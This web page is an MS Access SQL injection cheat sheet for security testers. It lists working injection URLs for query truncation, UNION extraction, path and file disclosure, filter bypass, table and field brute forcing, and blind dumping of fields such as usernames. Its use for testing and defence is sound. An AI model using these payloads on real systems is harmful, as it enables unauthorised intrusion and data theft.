The SQL Injection Wiki project aims to provide all bells and whistles about SQL Injection. It is a good reference for both seasoned web security professionals and those who are just starting. This project website is frequently updated and currently includes detailed documentation about SQL Injection attack variants for the below list of databases:

The SQL Injection Wiki is sponsored by Netsparker, an automated false positive free web vulnerability scanner. Download a free trial.

MS Access SQL Injection Cheat Sheet

 

 

Back to top

Different error messages can be found during MS Access testing, depending on the specific web platform. As an example, two cases are hereby reported:

Apache (PHP)
  • Fatal error: Uncaught exception 'com_exception' with message
    'Source: Microsoft JET Database Engine Description: [...]
IIS (ASP)
  • Microsoft JET Database Engine error '80040e14'

Back to top

Comment characters are not available in Microsoft Access. As a result, in order to comment out the trailing part of an injectable query, we cannot use the usual notation with /**/ or -- or #.

However, it is possible to remove useless part of a query with the NULL char (%00).  In case this character is not allowed (e.g. filtering via magic_quote_gpc in PHP), it is still possible to use the %16 character (SYN char) to achieve the same result. A query truncation looks like:

http://localhost/script.asp?id=1'+UNION+SELECT+1,2,3,4+FROM+someValidTabName%00

Double encoding and other usual encoding techniques may be used to inject the characters above.

Back to top

MS Access supports UNION and UNION ALL operators, although they require an existent table name within the FROM clause of the SELECT query. Table bruteforcing can be used to obtain a valid table name. Please refer to last section (Another Bruteforcing Technique) of this document.

Back to top

Stacked queries are not allowed. Forget about it.

Back to top

The LIMIT operator is not implemented within MS Access.

However, it is possible to limit SELECT query results to the first N table rows using the TOP operator. TOP accepts as argument an integer, representing the number of rows to be returned.

http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00

In the example above, the injected query returns the first 3 rows.

In addition to TOP, the operator LAST can be used to fully emulate the behavior of LIMIT.

As LAST allows to select the last tuple, we can combine both functions in order to select a specific result. For example, to select the N-tuple we can use TOP N and then LAST.

Back to top

Subqueries are supported by MS Access. In the following example, TOP 1 is used to return one row only:

http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+FROM+table)%00

Back to top

In some cases, it is useful to include in the web application response the outcome of our UNION SELECT query only, making the hardcoded query returning 0 results. A common trick can be used for our purpose:

http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00

Back to top

String concatenation is possible using the &(%26) and + (%2b) characters. As we are injecting these characters within an HTTP request, such value should be properly encoded:

http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+FROM+table%00
http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+FROM+table%00

Both queries return the string “webapp”.

Back to top

The operator MID can be used to select a portion of a specified string:

http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+FROM+table%00
http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+FROM+table%00

The first query returns the character ‘a’, whereas the second query returns ‘b’.

Back to top

The operator LEN can be used in order to obtain the length of a string:

http://localhost/script.asp?id=1'+UNION+SELECT+LEN('1234')+FROM+table%00

The request above returns 4, the length of the string “1234”.

Back to top

The ASC operator returns the ASCII value of the character passed as argument:

http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+table%00

The request above returns 65, the ASCII value of the character ‘A’.

Back to top

The CHR operator converts the argument character to its ASCII value:

http://localhost/script.asp?id=1'+UNION+SELECT+CHR(65)+FROM+table%00

The request above returns the character ‘A’.

Back to top

The IIF operator can be used to build an “if-then” conditional statement. As shown below, the syntax for this function is simple:

IIF(condition, true, false)
http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FROM+table%00

The previous query returns the character ‘a’ as the condition 1=1 is always true.

Back to top

The knowledge of the web root absolute path may facilitate further attacks. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access responds with an error message containing the web directory full pathname.

Back to top

The following attack vector can be used to inferrer the existence of a file on the remote filesystem.

If the specified file exists, MS Access triggers an error message informing that the database format is invalid:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Another way to enumerate files consists into specifying a database.table item. If the specified file exists, MS Access displays a database format error message.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.ini.TableName%00

Back to top

Database file name (.mdb) can be inferred with the following query:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Where name[i] is a .mdb filename and realTable is an existent table within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.

Back to top

Access PassView is a free utility that can be used  to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0. The tool can be downloaded for free here.  Other third-party utilities capable of recovering database password exist, however most of these tools are neither OpenSource nor free.

Back to top

Backslash escaped input filtering can be easily bypassed in MS Access. Escaping user's inputs by adding backslashes is not enough in order to prevent SQL injection as the character ‘\’ is the integer divide operator. A clever example of bypass has been already discussed here.

Back to top

Table fields can be enumerated with a simple trick. First of all, it is necessary to find a valid table name. If error messages are not concealed, the name of table is usually included in the error messages. Let’s assume that id is a valid table name.

At this stage, we can use a well-known MS SQL server technique to enumerate all table fields.

http://localhost/script.asp?id=1'+GROUP+BY+ID%00

As the system will now respond with a slightly different error message including another field name, we can proceed with the following:

http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD2%00

Consequently, this process can be repeated several times until all field names have been uncovered. Note that it is not possible to use this technique if you are dealing with query like “SELECT * FROM”

Back to top

In 2008, Antonio Parata published a post describing a trick based on the IFF, MID, LAST and TOP operators in order to retrieve a field value. Assuming that we have already discovered the vulnerable ‘id’ field, the table name and the field name, we can proceed using the following query:

http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)%20
from%20(select%20top%2010%20username%20from%20users))='a',0,'ko')

In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10  operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only.

On such value, using the MID operator, it is possible to perform a simple character comparison.

Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.

Back to top

S Access does not provide BENCHMARK or SLEEP alike operators.

However, it is still possible to inference data with the use of heavy queries as described in this Microsoft TechNet article.

Back to top

The knowledge of table and field names is essential to properly build an attack.

In any case, it is possible to bruteforce such values using a wordlist.

A list of names that are likely to be used in field/table/.mdb guessing is also available as part of fuzzdb (download here).

Using our favorite scripting language, it is possible to iterate on all wordlist items using the query:

http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+$wordlist)%00

If the $wordlist item exists, the web application should display a standard HTML response.

Once obtained a valid table name, we can guess a field name in a similar way:

http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FieldName[i]+FROM+validTableName)%00

Back to top

The total number of rows in a table can be discovered with the query:

http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(*)+FROM+validTableName)=X,1,0)%00

In the following, TAB_LEN is the discovered number of rows.

Back to top

In addition to the generic blind SQLi approach, it is possible to use another trick to achieve the same result. We’ll introduce this concept trying to obtain the value length of a field.

Bruteforcing of the value length of a generic field can be done with the following query:

http://localhost/script.asp?id=1'+AND+IIF((SELECT+TOP+1+LEN(FIELD)+FROM+table)=X,1,0)%00

Subsequently, it is possible to retrieve the length of all fields from row 2 to TAB_LEN excluding previous results:

http://localhost/script.asp?id=1'+AND+IIF((SELECT+TOP+N+LEN(FIELD)+FROM+table+?WHERE+FIELD<>‘value1’+AND+FIELD<>'value2'+…FIELD<>'valueN')=K,1,0)%00

The counter K must iterate from 0 to the max value. For your convenience, this page shows MS Access maximum capacities. In our query, FIELD<>‘valueXXX’ is used to exclude tuples.

Please note that this technique works as long as FIELD contains unique values (e.g. it’s a primary key).

Finally, we can see an application of this technique in order to retrieve the content of a field:

script.asp?id=1'+AND+IIF((SELECT+TOP+N+MID(FIELD,NC,1)+FROM+table+WHERE+FIELD_key<>'value1'+AND+FIELD_key<>'value2'+…etc…)=CHAR(Y),1,0)%00

Where N in the total tuples to bruteforce, NC is the n-character of the FIELD, FIELD_key is the table primary key field and Y is a number between 0 and 255 (ASCII value for a char).

Back to top

NibbleSec - http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html